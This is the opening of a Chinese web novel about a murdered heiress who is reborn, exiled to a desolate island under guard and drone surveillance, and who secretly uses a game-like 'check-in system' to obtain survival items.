《海岛签到求生:我的度假庄园风靡全球》
1. 第1章
冰冷,刺骨。咸涩的海水倒灌进喉咙,挤压着肺里最后一点空气。
苏甜在漆黑的水中徒劳地蹬动双腿,昂贵的礼服裙摆像水鬼的枯手缠上来,将她拖向更深的黑暗。
意识模糊的最后一瞬。
豪华游轮上震耳欲聋的订婚进行曲彻底扭曲,变成水流灌入耳膜的呜咽轰鸣。
一只涂着精致蔻丹的手,带着刺骨凉意,狠狠按在她后心,用力一推!
“别怪我,甜甜。”
柳薇薇刻意压低、却掩不住兴奋的嗓音毒蛇般钻进她最后的意识。
“你挡路了!”
窒息感瞬间扼紧了喉咙。
无边无际的冰冷海水,彻底吞噬了她。
“嗡,轰隆隆!”
意识被硬生生撕裂。
震耳欲聋的噪音粗暴地塞满耳朵,整个身体都在随着这狂暴的节奏震颤。
苏甜猛地睁开眼。
刺目的光线扎进眼底,眩晕感排山倒海。
她急促地喘息着,心脏在胸腔里疯狂擂动,几乎要撞碎肋骨。
喉咙里还残留着溺水的灼痛和咸腥。
不是海底。
她正蜷缩在冰冷的真皮座椅里。
透过狭小的舷窗,外面是令人窒息的、无边无际的靛蓝。
单调,死寂。
只有直升机巨大旋翼搅起的罡风,在窗外疯狂嘶吼。
引擎的轰鸣像是巨兽在耳边咆哮,震得她颅骨发麻。
每一次剧烈的颠簸,都让她的胃袋翻江倒海。
视线艰难地聚焦,投向舷窗更远的地方。
靛蓝海面的尽头,一个模糊的灰绿色轮廓正一点点放大。
丑陋,荒凉,死气沉沉。
像一块被上帝随手丢弃的、布满苔藓的顽石。
K7岛。
苏家海外资产名录上,那个被标记为“待废弃处理”的流放地。
冰冷的现实如同舷窗外的海风,狠狠抽打在脸上。
订婚宴,游轮。
柳薇薇带着甜腻笑意的毒手,周屿辰那张在香槟塔光芒映照下、冷漠得没有一丝波澜的俊脸。
所有的画面,清晰得如同昨日。
不,就是昨日!
她死了。
被自己最信任的闺蜜和最亲密的未婚夫,联手推进了深不见底的海里。
作为豪门联姻棋子的最后一点价值也被榨干、碾碎。
可她又活了。
不是梦。
指甲狠狠掐进掌心,尖锐的刺痛真实无比。
重生了。
回到了二十岁,回到了被苏家像丢弃垃圾一样,“发配”到这个天涯海角孤岛的时刻。
恨意,如同深海下积蓄了万载的寒冰,瞬间从心脏蔓延至四肢百骸。
冰冷,坚硬,带着足以焚毁一切的毁灭气息。
柳薇薇娇笑的脸,周屿辰冰冷的眼,苏家那些视她为待价而沽货物的贪婪嘴脸。
在脑海中疯狂轮转,最终凝固成一片淬毒的坚冰。
很好。
她缓缓地、深深地吸了一口机舱里混杂着机油和冰冷皮革味的空气。
再睁开眼时,那双曾经被名媛圈嘲笑为“空有美貌、毫无灵魂”的杏眼里,所有汹涌的恨意与冰冷的清明都被死死压了下去。
只剩下一层符合“苏家花瓶”人设的、恰到好处的茫然和虚弱。
直升机粗暴地降落了。
旋翼卷起的狂风裹挟着粗糙的砂砾,劈头盖脸地打来,刮得裸露的皮肤生疼。舱门被粗暴地拉开。
“下去。”保镖甲的声音和他的脸一样,硬得像块生铁,没有任何情绪起伏。
他站在舱门口,高大的身影堵住了大部分光线,投下一片压迫的阴影。
另一个保镖乙,沉默地站在稍后一点的位置,目光在她苍白的脸上扫过。
喉结似乎几不可察地滚动了一下,但最终也只是沉默。
苏甜垂下眼睫,掩饰住眼底一闪而过的冷芒。
她扶着冰冷的舱壁,动作带着刻意伪装的笨拙和虚弱,几乎是“滚”下了舷梯。
细高跟踩在松软不平的沙地上,一个趔趄,差点摔倒。
换来保镖甲一声不耐烦的冷哼。
赤脚,终于实实在在地踩在了这片灰黄死寂的沙滩上。
砂砾粗粝得硌脚,带着白日暴晒后残留的、令人不适的温热。
就在这时。
“嗡”
一声奇异的、仿佛来自深海之渊的海螺低鸣,毫无预兆地在苏甜的脑海深处响起。
清越,空灵,带着洗涤灵魂的穿透力。
眼前猛地一花!
一片半透明、散发着柔和微光的界面,如同舒展的新生棕榈叶,瞬间在她的视网膜上铺展开来。
界面是清新的蓝绿色调,简洁的线条勾勒出岛屿、海浪、棕榈树的轮廓,充满了鲜活的海岛气息。
一行散发着温暖白光的文字,在界面中央优雅浮现。
【梦幻海岛主】系统绑定成功!
检测到首次签到点:【纯净沙滩A区(状态:重度污染/贫瘠)】
签到奖励待领取(新手礼包)。
梦幻海岛主?
系统?
巨大的震惊如同海啸般冲击着苏甜的心脏,几乎让她维持不住脸上的虚弱伪装。
前世被囚禁在华丽牢笼里时,她也曾看过一些打发时间的网络小说,对“系统”这个词并不陌生。
可当这种超乎想象的存在真正降临在自己身上时,那种颠覆认知的冲击力依旧让她心神剧震。
重生的馈赠?
复仇的基石?
狂喜的浪潮尚未完全掀起,就被她强大的意志力死死摁了下去。
不能露馅!
一丝一毫都不能!
她甚至来不及仔细查看那诱人的新手礼包内容,意念如同最敏捷的猎豹,瞬间扑向那个散发着莹润光泽的【签到】按钮!
“签到!”
【叮!首次签到成功!】
【获得:生态能量x100!】
【商城权限已开启!】
100点能量!
商城的入口图标在界面上闪烁着诱人的微光。
意念扫过,琳琅满目的虚拟货架瞬间展开。
【椰子苗(80能量)】、【基础淡水过滤器(120能量)】、【简易石斧(50能量)】。
生存的希望之光,从未如此清晰耀眼!
喉咙干渴得冒烟,肺部还残留着溺水的灼痛。
椰子苗!
只要有水。
兑换【椰子苗】!
就在她的意念即将触碰到那个图标,全身的细胞都因即将到来的甘霖而雀跃时。
“嗡!”
一阵远比直升机噪音更刺耳、更充满恶意的嗡鸣,陡然从头顶传来!
苏甜浑身汗毛倒竖!
猛地抬头,只见一架涂装着显眼苏家徽记。
金色缠绕藤蔓的冷酷无人机,如同盘旋的秃鹫,不知何时已悄无声息地升到了她头顶上方不足十米处!
猩红如血的激光瞄准光点,像一枚烧红的烙铁,带着赤裸裸的冰冷监视意味。
不偏不倚,正正锁定在她刚刚站立的、那片灰黄的沙滩上!
心脏在胸腔里骤然停跳一拍!
被发现了?
系统的存在?
签到的异常?
保镖甲冰冷的目光,如同探照灯般扫了过来。
保镖乙也微微皱眉,似乎察觉了那瞬间不自然的停顿。
电光火石之间,求生的本能压倒了所有震惊和渴望!
“啊!”苏甜发出一声短促而惊恐的尖叫,伪装得无比逼真。
她脚下一软,整个人像是被那猩红的激光惊吓到魂飞魄散,狼狈不堪地朝旁边扑倒!
身体重重摔在粗粝滚烫的沙地上,手掌被尖锐的贝壳边缘划破,火辣辣地疼。
飞扬的沙尘,扑了满脸满嘴。
她蜷缩起来,肩膀微微颤抖,像只受惊过度的兔子,完美的“花瓶惊吓”反应。
“废物!”保镖甲厌烦地低骂了一句,目光扫过她沾满沙尘的狼狈样子。
又抬头看了看,那架尽职盘旋的无人机,似乎确认了那红光只是锁定位置而非异常。
眼中的警惕才稍稍散去,只剩下更深的鄙夷。
“老实待着!别耍花样!”他丢下冰冷的命令,转身走向不远处一块稍高的礁石,似乎要去布置什么。
保镖乙的目光在她身上停留了几秒,看着她掌心渗出的血珠混着沙粒,黏在细白皮肤上的可怜模样。
嘴唇动了动,最终也只是沉默地移开视线,跟上了甲。
直到两人的脚步声稍远,苏甜才敢极轻微地、颤抖着吸了一口气。
心脏在胸腔里疯狂擂鼓,后背已被冷汗浸透。
她伏在滚烫的沙地上,脸颊贴着粗粝的砂砾,一动不敢动。
头顶,那架涂着苏家徽记的无人机依旧如同跗骨之蛆,低低地盘旋着,发出令人神经紧绷的嗡鸣。
那一点猩红的激光,像毒蛇冰冷的信子,在附近的沙地上反复逡巡。
系统界面还静静地悬浮在意识深处,散发着微光。
那100点生态能量,那近在咫尺的【椰子苗】,此刻都成了灼人的诱惑和沉重的负担。
喉咙里的干渴感火烧火燎,掌心伤口的刺痛尖锐地提醒着她现实的残酷。
保镖甲那句冰冷的“附件第七条”在耳边回响,那是悬在头顶的利剑。
而更深处,老卡尔口中那个隐蔽的淡水源位置,是支撑她活下去的唯一先知优势。
活下去,才有复仇的资本。
变强,才能碾碎那些将她推入深渊的人!
可第一步,她就要在这双重的监视。
保镖的肉眼与无人机的电子眼之下,在干渴杀死她之前,拿到那棵能救命的椰子苗!
苏甜的手指,在保镖和无人机都无法看到的阴影里,死死抠进了滚烫的沙地。
细小的砂砾嵌入指甲缝,带来清晰的痛感。
机会,必须制造一个机会!
一个能让她兑换出椰子苗,又不引起任何怀疑的机会!
她需要水,需要能量,需要在这片死地撕开第一道生存的口子。
头顶的无人机嗡鸣,如同死神的嘲笑。
保镖甲站在礁石上的身影,像一座沉默的黑色铁塔。
这片灰黄死寂的沙滩,就是她复仇之路的第一个战场。
砂砾粗糙的质感磨,砺着掌心细嫩的伤口,带来一阵阵尖锐的刺痛。
苏甜维持着那副受惊过度的脆弱姿态,伏在滚烫的沙地上。
像一株被暴晒得蔫萎的植物,唯有低垂的眼睫下,冰封的恨意与求生的火焰在无声沸腾。
猩红的无人机光点,如同跗骨之蛆。
死死咬住她身侧,那片被标记的沙地。
保镖甲冰冷的目光,时不时如同探照灯般扫过这片荒芜的海岸线。
她需要水。
喉咙里火烧火燎的干渴感,比掌心伤口的刺痛更清晰地提醒着她,时间不多了。
系统商城里那棵标价【80能量】的椰子苗,是触手可及的甘霖,更是悬在头顶的铡刀。
如何在双重监视下兑换它?
伪装虚弱是她的保护色,也是此刻最大的束缚。
一个连路都走不稳的“花瓶”,怎么可能去几十米外那片稀疏歪扭的椰子树下“碰巧”找到一棵幼苗?
汗水混着沙尘,黏腻地贴在额角鬓边。
苏甜的目光,如同最精密的仪器,不动声色地扫过周围环境。
左侧是嶙峋的黑色礁石,海浪拍打在上面,溅起浑浊的泡沫。
右侧是向内陆延伸的、同样死气沉沉的灰黄色沙滩,几丛低矮、叶片枯黄的耐盐碱灌木在热浪中扭曲着。
保镖甲占据的那块礁石视野开阔,几乎能覆盖她所有可能移动的方向。
而无人机,则填补了低空的任何死角。
直接走过去?
立刻会被视为异常。
等待?
干渴和虚弱,正在真实地侵蚀她的体力。
时间一分一秒流逝,阳光炙烤着沙滩,空气都仿佛在扭曲。
保镖乙在礁石下找了个阴凉处靠着,似乎有些百无聊赖。
保镖甲则像一尊没有生命的石雕,面朝大海,背对着她。
但苏甜毫不怀疑,任何风吹草动都逃不过他的感知。
一个微弱的念头,如同黑暗中的磷火,骤然闪现。
水。
她需要水,一个能让她“合理”靠近水源的借口。
而这片贫瘠的海岸,除了身后无边无际的咸涩海水,唯一可能的淡水。
重生前的记忆碎片猛地撞入脑海。
家族关于K7岛那份冗长报告里,潦草带过的一笔。
前任开发者,曾在岛屿西侧海岬岩缝中,发现过微小渗水点,水量极少且不稳定,很快被
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废弃。
西侧海岬!
就在这片沙滩的尽头,离那些椰子树不远!
就是那里!
可怎么过去?
怎么解释她一个“娇生惯养”的大小姐,会知道连报告里都语焉不详的渗水点?
一个计划,在电光火石间成型。
冒险,但值得一搏!
苏甜的身体几不可察地绷紧了一瞬,随即又强迫自己放松。
她开始发出细微的、断断续续的抽泣声,肩膀小幅度地颤抖,将“惊吓过度”的戏码演得更足。
同时,她艰难地、一点一点地,在沙地上蹭动着身体,动作笨拙又迟缓。
仿佛只是想离那架让她恐惧的无人机远一点。
方向,正是朝着那片椰子树。
“吵死了!”保镖甲果然被那压抑的哭声扰得不耐烦,回头恶狠狠地瞪了她一眼。
“闭嘴!再发出声音把你丢海里去!”
苏甜像是被吓住了,猛地噤声,身体抖得更厉害,蜷缩得更紧。
但蹭动的动作并未完全停止,只是变得更加小心翼翼,像只受惊后本能挪向遮蔽物的幼兽。
每一次微小的挪动,都耗费着她本就所剩无几的体力,汗水浸透了后背单薄的衣料。
保镖甲骂了一句,大概是觉得她这副样子实在翻不起风浪。
又转回头去,继续监视着海面。
保镖乙也只是懒懒地抬了下眼皮。
十米,十五米。
距离那片稀疏的椰子树越来越近。
无人机的嗡鸣似乎也远了一点点?
不,它依旧忠诚地盘旋着,猩红的光点落在她刚刚蹭过的那片沙地上。
就是现在!
苏甜猛地吸了一口气,像是终于积蓄起了一点力气,又像是被某种强烈的本能驱使。
她突然抬起头,目光“涣散”地投向那些歪歪扭扭的椰子树,干裂的嘴唇翕动着,发出微弱而沙哑的呓语。
“水,好渴。”
声音不大,但在海浪的间隙里,足够清晰。
保镖乙皱了下眉,似乎觉得有点麻烦。
苏甜却像抓住了救命稻草的溺水者。
完全不顾保镖甲的警告和无人机的存在,挣扎着从沙地上爬起来,踉踉跄跄地就朝着最近的那棵椰子树冲去!
脚步虚浮,跌跌撞撞,好几次都差点摔倒,完美诠释着一个濒临崩溃、□□渴本能驱使的娇小姐形象。
“喂!站住!”保镖甲厉声呵斥,猛地转身。
苏甜充耳不闻,或者说“虚弱”得根本控制不了自己。
她扑到那棵最矮小、最歪斜的椰子树下。
双手胡乱地拍打着粗糙的树干,仰着头。
徒劳地望着高悬在树顶、遥不可及的几颗干瘪青椰子,绝望地呜咽。
“水,给我水。”
保镖甲已经大步流星地追了过来,脸上是毫不掩饰的暴戾和厌烦。
保镖乙也站起身,快步跟上。
就是这一刻!
苏甜背对着他们,身体因为拍打树干而剧烈晃动,恰好挡住了保镖瞬间投来的视线。
她的全部心神,在保镖脚步声逼近的死亡压迫下。
如同离弦之箭,狠狠撞进脑海中的系统界面!
意念聚焦,锁定【椰子苗】!
兑换!!!
【叮!兑换成功!消耗生态能量:80点!】
没有光影特效,没有空间波动。
就在她扑在树干上、沾满沙尘的手掌下方。
那片被树根拱起、混杂着枯叶的沙土里。
一株不足半尺高、却翠绿欲滴、充满生机的幼苗,如同变魔术般凭空出现!
两片嫩叶还带着初生的娇弱,却顽强地舒展开,贪婪地迎向灼热的阳光。
成了!
狂喜和巨大的紧张让她心脏几乎炸裂。
她甚至来不及感受幼苗带来的希望,身体就借着拍打树干的反作用力。
顺势向旁边一个趔趄,然后“噗通”一声。
重重摔倒在旁边一个浅浅的、浑浊的、被海浪冲刷形成的小水洼里!
“噗,咳咳咳!”浑浊腥咸的海水猛地灌入口鼻,剧烈的呛咳瞬间爆发。
真实无比。
她狼狈不堪地在泥水里扑腾,昂贵的裙子彻底糊满了黑泥。
保镖甲已经冲到了树下,暴怒地一把揪住她的后衣领。
像拎小鸡一样,将她从那恶心的水洼里粗暴地拽了起来。
劈头盖脸就是怒骂。
“找死吗?!听不懂人话?!”
冰冷的泥水顺着头发、脸颊往下淌,糊住了眼睛,带来刺痛的咸涩感。
苏甜剧烈地呛咳着,浑身湿透,瑟瑟发抖,连挣扎的力气都仿佛被抽空了,只剩下一片狼藉的虚弱和恐惧。
她半睁着被泥水糊住的眼睛,目光“无意”地扫过自己刚才摔倒的地方。
那株翠绿的椰子苗,正静静地扎根在树根旁的沙土里。
嫩叶在热风中微微颤动,沾着几滴浑浊的泥水,如同这里原本就存在的一株不起眼的杂草。
保镖甲顺着她呆滞的目光看去,自然也看到了那株幼苗。
但他眼中只有嫌恶,只有对这个“净添麻烦”的废物大小姐的厌烦。
他粗暴地拖拽着苏甜,远离那棵椰子树和树下的水洼。
“再乱跑,打断你的腿!”保镖甲将她狠狠掼在滚烫的沙地上,警告如同冰渣。
苏甜蜷缩着,剧烈地咳嗽着,身体因为寒冷和恐惧(至少表面如此)而颤抖。
湿透的衣服紧贴在身上,冰冷刺骨,泥水顺着下巴滴落。
保镖甲骂骂咧咧地走开,似乎觉得看管这个废物比预想的更麻烦。
保镖乙跟在他身后,目光在那株小小的椰子苗上短暂地停留了一瞬。
又看了看苏甜满身污泥、瑟瑟发抖的凄惨模样,最终也只是沉默地摇了摇头,什么也没说。
头顶,无人机的嗡鸣似乎也带上了一丝困惑的意味。
猩红的光点在树苗、水洼和苏甜身上来回扫了几下,最终又落回了那片被标记的沙地。
成功了。
苏甜将脸深深埋进臂弯,肩膀因为咳嗽而不断耸动。
冰冷的泥水刺激着皮肤,粗粝的砂砾磨砺着伤口。
而在那沾满污泥的臂弯遮挡下,无人看见的唇角。
却极其缓慢地、极其冰冷地。
向上弯起了一个微不可查的弧度。
2. 第2章
冰冷的泥水浸透了薄薄的衣料,紧贴着皮肤,带来刺骨的寒意。
咸腥的海水味混合着沙底的腐殖质气息,顽强地钻进鼻腔,每一次呛咳都牵扯着喉咙深处火烧火燎的干渴。
苏甜蜷缩在滚烫的沙地上,身体因为寒冷和剧烈的咳嗽而不受控制地颤抖。
看上去狼狈得像一只刚从泥潭里捞出来的落汤鸡。
保镖甲嫌恶的怒骂声还在耳边回荡,伴随着他重重离去的脚步声。
保镖乙沉默地站在几步开外,目光在她身上停留了一瞬,又移向那架依旧在低空盘旋的苏家无人机。
猩红的光点,像一只永不疲倦的冰冷眼睛,牢牢锁定着她身侧那片被标记的灰黄沙地。
“咳咳咳”苏甜又剧烈地咳了几声,仿佛要把肺都咳出来,借此掩饰住胸腔里疯狂擂动的心跳。
成功了!
那株翠绿的椰子苗,此刻正安然扎根在椰子树下那片不起眼的沙土里。
嫩叶在灼热的海风中微微颤动,像一枚悄然埋下的希望种子。
但这份成功的狂喜,转瞬就被更强烈的生理需求碾碎。
渴。
喉咙里仿佛塞满了燃烧的炭块,每一次吞咽都像用砂纸摩擦着脆弱的黏膜。
嘴唇干裂起皮,口腔里弥漫着苦涩的铁锈味。
泥水带来的咸涩感非但没有缓解干渴,反而像在伤口上撒盐,将那种火烧火燎的折磨放大了数倍。
重生前的溺毙感似乎又卷土重来,只是这一次,是缓慢的、清醒的脱水。
她必须喝水。
干净的淡水。
系统商城里,那标价【120点生态能量】的【基础淡水过滤器】,成了此刻唯一的救命稻草。
可她仅剩20点能量(兑换椰子苗后)。
100点的缺口,像一道深不见底的鸿沟横亘在眼前。
头顶无人机的嗡鸣,保镖甲偶尔扫来的、如同实质般冰冷的视线,都在提醒她。
一举一动,皆在监视之下。
兑换椰子苗已是险中求胜,再想凭空变出一个金属圆筒般的过滤器?
无异于自寻死路。
生存的本能压倒了虚弱的伪装。
她挣扎着,用沾满污泥的手臂撑起身体。
目光如同濒死的旅人寻找绿洲,茫然又急切地扫过这片死寂的沙滩。
视线最终定格在远处。
那几株歪歪扭扭、叶片稀疏的椰子树。更确切地说,是树顶那些在烈日下反射着微光的、干瘪的青椰子。
保镖甲正背对着她,站在礁石上眺望海面,像一尊冷酷的黑色雕塑。
保镖乙则抱着手臂,靠在礁石的阴影里,显得有些百无聊赖。
无人机盘旋的高度似乎降低了一点,猩红的光点离她更近了,带着一种审视的意味。
一个大胆的念头,如同黑暗中划过的闪电,瞬间照亮了苏甜混乱的脑海。
椰子!
那是她此刻“渴求”最合理的解释!
也是制造混乱、掩护兑换的绝佳舞台!
“水”她发出一声微弱到几乎听不见的呻吟,更像是一声濒死的叹息。
但这声音在寂静的海滩上,尤其是在时刻关注她动静的保镖耳中,却异常清晰。
保镖乙的眉头皱得更紧了。
苏甜像是被这声呻吟唤醒了一丝力气,又像是被椰子树的幻影蛊惑。
她艰难地、摇摇晃晃地从沙地上站了起来,身体虚弱地打着晃。
湿透的裙摆沉重地裹在腿上,沾满了泥浆和沙粒,每挪动一步都异常艰难。
她不再看保镖,目光死死锁住离她最近的那棵椰子树,踉跄着朝它走去。
脚步虚浮,深一脚浅一脚,仿佛下一秒就要栽倒,完全是一个□□渴逼到绝境、失去理智的娇小姐模样。
“站住!”保镖甲猛地回头,厉声喝道,声音里带着被再次打扰的暴怒。
苏甜像是没听见,或者说“渴疯了”。她加快了脚步。
几乎是扑到了那棵矮小的椰子树下,伸出沾满污泥的手,徒劳地向上够着离地最近的一颗干瘪椰子。
指尖距离那粗糙的果壳还有一大截距离。
她踮起脚,身体因为用力而绷紧,却因为虚弱和裙摆的束缚,显得笨拙而可笑。
“给我水”她仰着头,声音嘶哑,带着绝望的哭腔,继续扮演着渴求的角色。
保镖甲怒骂一声,大步流星地冲下礁石。
保镖乙也跟了上来,脸上带着一丝无奈和警惕。
就是现在!
苏甜的身体因为极力向上够而失去了平衡,猛地向树干方向一个趔趄。
粗糙的树皮刮擦着她裸露的手臂,带来一阵刺痛。
就在身体与树干接触的瞬间,她借着踉跄的力道。
手肘看似无意地狠狠擦过一根斜伸出来的、尖锐的枯枝!
“嗤啦”
一声布帛撕裂的脆响!
她那件早已被泥水浸透、价值不菲的丝质裙摆内侧,瞬间被划开了一道长长的口子!
破损的边缘立刻被海风吹得翻卷起来,露出了下面同样沾着泥污的衬里。
“啊!”苏甜发出一声短促的惊呼,像是被这意外吓到。
手忙脚乱地想要按住翻卷的破口,遮掩“走光”的狼狈。
这个动作极其自然,完全符合一个娇小姐在困境中还要维持最后一丝体面的本能反应。
保镖甲已经冲到了几米开外,看到这场景。
脚步顿了一下,眼中厌烦更甚。
似乎觉得这女人麻烦透顶。
保镖乙也下意识地移开了视线。
就在这转瞬即逝的、保镖视线被转移的刹那!
苏甜按在裙摆破口上的手,借着身体的遮挡,以快得不可思议的速度,在下方浑浊的沙地上猛地一划!
指尖精准地抠起一块边缘锋利的黑色牡蛎壳碎片!
冰凉的触感带着死亡的锐利。
没有丝毫犹豫,她握着牡蛎壳碎片的手,借着按住裙摆的动作掩护,闪电般缩进那被划破的裙摆内侧!
指尖触碰到柔软坚韧的衬里布料。
锋利的牡蛎壳边缘如同最精准的手术刀,贴着内衬的边缘,用力一划!一割!
嗤!
一小块约莫一尺长、三指宽的米白色细棉布条,被她悄无声息地撕扯下来,紧紧攥在了汗湿的掌心!
动作快如鬼魅,借着身体的晃动和裙摆的遮掩,天衣无缝。
布条到手!
但这只是计划的第一步。
保镖甲已经近在咫尺,怒容满面。
苏甜甚至能闻到他身上那股混合着汗味和冷漠的气息。
没有时间思考!
她猛地松开按住裙摆的手,任由那道破口在风中狼狈地翻卷,仿佛被保镖的逼近吓得完全顾不上了。
目光重新投向那颗遥不可及的椰子,脸上浮现出一种孤注一掷的疯狂。
“我要水!”她尖叫一声,带着哭腔,再次踮起脚。
双手胡乱地抱住粗糙的树干,身体笨拙地向上蹭,试图攀爬!
细高跟鞋在湿滑的树皮上徒劳地蹬踏,留下几道浅浅的印痕。
那姿态,脆弱、绝望,又带着一丝可笑的固执。
“下来!你这蠢货!”保镖甲怒不可遏,伸手就要去抓她的脚踝。
就在保镖甲的手即将碰到她脚踝的瞬间,苏甜攀爬的动作似乎因为“力竭”而猛地一滑!
“啊!”
一声凄厉的尖叫划破海滩的沉闷!
她的身体失去了所有支撑,像个沉重的麻袋。
直直地朝着椰子树旁那个浑浊的、之前她摔倒过的浅水洼砸落下去!
噗通!
比上次更猛烈的落水声!
浑浊腥臭的泥水瞬间将她完全淹没!
“救命!咳咳,救,咕噜噜。”苏甜在水中疯狂地扑腾挣扎,双手胡乱拍打着水面,溅起大片浑浊的水花。
她的头时而沉入水下,时而又猛地冒出来,剧烈地呛咳。
喷出泥水,脸上糊满了黑色的污泥。
头发湿漉漉地贴在脸上,狼狈到了极点。
每一次挣扎都显得那么真实,那么绝望。
“妈的!”保镖甲冲到水洼边。
看着里面,那个像落水狗一样扑腾的女人。
脸色铁青,额角青筋直跳。
他极度厌恶这种麻烦,更厌恶被泥水溅到。
他下意识地后退了小半步,避开了飞溅的泥点,同时对着水洼怒吼。
“别他妈扑腾了!自己站起来!水还没你膝盖深!”
就是现在!
浑浊的泥水提供了绝佳的视觉屏障。
水面下,苏甜的身体因为剧烈的“挣扎”而不断搅动着淤泥,将本就浑浊的水体彻底变成了墨汁。
无人能看清水下发生了什么。
保镖甲的注意力,完全被她的狼狈和怒吼吸引。
保镖乙也站在几步外,皱着眉头看着这场闹剧。
头顶的无人机,似乎也被这突如其来的混乱,吸引了注意力。
嗡鸣声更响了一些,猩红的光点在水洼上方来回扫动。
苏甜在水中,借着扑腾水花和身体剧烈晃动的掩护。
将一直紧紧攥在左手中的那块米白色布条,猛地塞进了被泥水浸透的、破破烂烂的裙摆深处,死死压住。
与此同时,她的全部心神,如同紧绷到极限的弓弦。
狠狠撞进意识深处那片散发着微光的系统界面!
意念如同最锋利的尖刀,瞬间刺向【基础淡水过滤器】的图标!
兑换!!!
【叮!兑换成功!消耗生态能量:120点!】
【警告:生态能量不足!当前余额:0点!】
冰冷的系统提示音在脑海中响起,如同死神的宣告。
120点!
她只有20点!
不够!
完全不够!
绝望如同冰冷的潮水,瞬间淹没了她。
连呛水的痛苦都仿佛停滞了。
然而,就在这绝望的深渊边缘。
【新手保护机制触发!检测到宿主处于“极度脱水”致命危机!】
【允许透支能量:100点!】
【透支代价:未来24小时所有能量获取减半!是否确认透支兑换?】
透支!减半获取!
冰冷的提示带着一丝残酷的仁慈。
没有时间犹豫!活下去才有未来!
确认!!!
【透支成功!兑换完成!】
一股沉重的、冰凉的金属触感,毫无征兆地出现在她死死攥着布条的左手之中!
那感觉如此突兀,
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又如此真实。
一个约莫成人小臂长短、手腕粗细的金属圆筒。
带着沉甸甸的分量和冰冷的温度,凭空出现在她紧贴身体、被泥水和裙摆重重包裹的掌心里!
【基础淡水过滤器】!
冰冷的金属外壳紧贴着皮肤,那沉甸甸的触感,却比任何珍宝都更让人心潮澎湃!
狂喜几乎冲破喉咙!
苏甜用尽全身的意志力才将那一声呐喊死死压住,转化为更剧烈的呛咳和扑腾。
顺势将握着过滤器的左手,连同那块布条一起。
更深地塞进被泥水浸透的裙摆内侧。
紧紧贴着小腹,用湿透的布料和身体的曲线将其牢牢固定、遮掩。
“废物!把手给我!”保镖甲终于彻底失去了耐心。
看着水里那个,扑腾得越来越没力气的女人。
极度嫌恶地啐了一口,还是向前探出身子。
一把抓住了苏甜在水面上胡乱挥舞的右手手腕。
粗粝冰冷的手指如同铁钳,几乎要捏碎她的腕骨。
保镖甲猛地发力,像拖拽一袋垃圾一样,粗暴地将她整个人从浑浊腥臭的水洼里拖了出来,狠狠掼在旁边的沙地上。
“噗,咳咳咳。”苏甜摔得眼冒金星,肺里的空气似乎都被挤了出去,只剩下撕心裂肺的呛咳。
泥水顺着头发、脸颊、衣襟不断往下淌,在身下的沙地上洇开一大片深色的污迹。
她蜷缩着,身体因为寒冷和剧烈的咳嗽,而筛糠般颤抖,比之前更加狼狈不堪。
保镖甲甩了甩手上沾到的泥水,脸色阴沉得能滴出水。
指着她的鼻子,每一个字都像是从牙缝里挤出来的冰碴。
“再敢乱动一下,我保证,你会像那些烂椰子一样,永远挂在那棵树上!”
头顶,那架盘旋的无人机,似乎也“确认”了这只是一场由废物大小姐自导自演的愚蠢闹剧。
猩红的光点终于从水洼和苏甜身上移开,嗡鸣声也恢复了平稳的巡航模式。
指示灯转为代表“无异常”的幽绿色,继续忠诚地巡视着那片被标记的沙地。
危机,暂时解除了?
苏甜剧烈地喘息着,每一次吸气都带着胸腔火辣辣的疼痛。
她瑟缩着,像只受惊的鹌鹑,努力将沾满污泥的脸埋得更低。
声音细若蚊蝇,带着浓重的哭腔和恐惧。
“对不起,我太渴了,我错了。”
保镖甲冷哼一声,眼神里的鄙夷几乎要化为实质。
他不再看她,仿佛多看一眼都脏了眼睛。
转身大步走回礁石。
保镖乙也摇了摇头,跟了上去,只是目光在她湿透蜷缩的身影上又停留了一瞬。
似乎掠过一丝极淡的、难以言喻的复杂情绪。
冰冷的泥水包裹着身体,海风吹过,带走仅存的热量,带来刺骨的寒意。
苏甜蜷缩在滚烫的沙地上,身体因为寒冷而不断打着寒颤,牙齿不受控制地咯咯作响。
然而,在她紧贴着小腹、被湿透的裙摆和那块米白色布条层层包裹的左手掌心里。
那个沉甸甸、冰凉凉的金属圆筒,正源源不断地散发着微弱却真实的热度。
那是生存的温度,是希望的触感。
【基础淡水过滤器】到手了!
代价是能量归零,以及未来24小时能量获取减半的严厉惩罚。
但这值得!
干渴感并未消失,喉咙依旧灼烧般疼痛。
保镖冰冷的警告还在耳边回荡,无人机的嗡鸣如同悬顶之剑。
而更迫切的危机,正随着身体温度的流失而悄然逼近,失温。
苏甜艰难地、极其缓慢地。
在沙地上蜷缩得更紧,双臂紧紧环抱着自己,试图锁住那一点点可怜的体温。
被泥水糊住的眼睛,透过凌乱湿发的缝隙。
死死地、不动声色地投向岛屿西侧。
那片嶙峋海岬的轮廓在午后的热浪中微微扭曲。
重生前那份冗长报告里,潦草带过的几行字。
此刻清晰地烙印在脑海。
西侧海岬,隐蔽岩缝,微小渗水点,前人废弃。
那就是目标!
她需要找到一个机会,一个避开保镖和无人机视线的短暂间隙,去到那里。
用这个用透支未来换来的过滤器,去获取那维系生命的、比黄金更珍贵的淡水!
左手掌心紧贴着冰冷的金属圆筒,指尖能清晰地感受到它光滑外壳上细微的纹路和接口的凸起。
那沉甸甸的分量,此刻成了支撑她濒临崩溃意志的唯一锚点。
水。
她必须活下去。
为了这来之不易的过滤器,为了那株悄然生长的椰子苗,更为了那些将她推入地狱的人!
海风呜咽着卷过死寂的沙滩,吹起细小的沙粒,打在苏甜冰冷麻木的脸上。
保镖甲站在礁石上的背影,如同一座不可逾越的黑色山峰。
无人机的幽绿指示灯,在灰蒙蒙的天空下规律地闪烁。
时间在寒冷和干渴的双重煎熬中缓慢流逝。
苏甜像一尊被泥浆包裹的雕塑,一动不动地蜷缩着。
唯有低垂的眼睫下,冰冷的火焰在无声地燃烧。
等待着,计算着。
等待一个奔向水源的契机。
3. 第3章
冰冷的泥水,如同第二层皮肤,紧紧包裹着苏甜。
每一次海风吹过,都带来刺骨的颤栗。
牙齿不受控制地咯咯作响,身体在滚烫的沙地和湿冷的衣物,间承受着冰火两重天的煎熬。
保镖甲背对着她,如同一块矗立在礁石上的黑色磐石。
无人机幽绿的指示灯,在灰蒙的天空下规律地闪烁,无声地编织着无形的牢笼。
时间在干渴与寒冷的双重绞杀中,缓慢爬行。
苏甜蜷缩在沙地上,像一只被遗弃的、沾满污泥的幼兽。
唯有紧贴着小腹的左手掌心,感受着那冰冷金属圆筒传来的、微弱却无比真实的触感【基础淡水过滤器】。
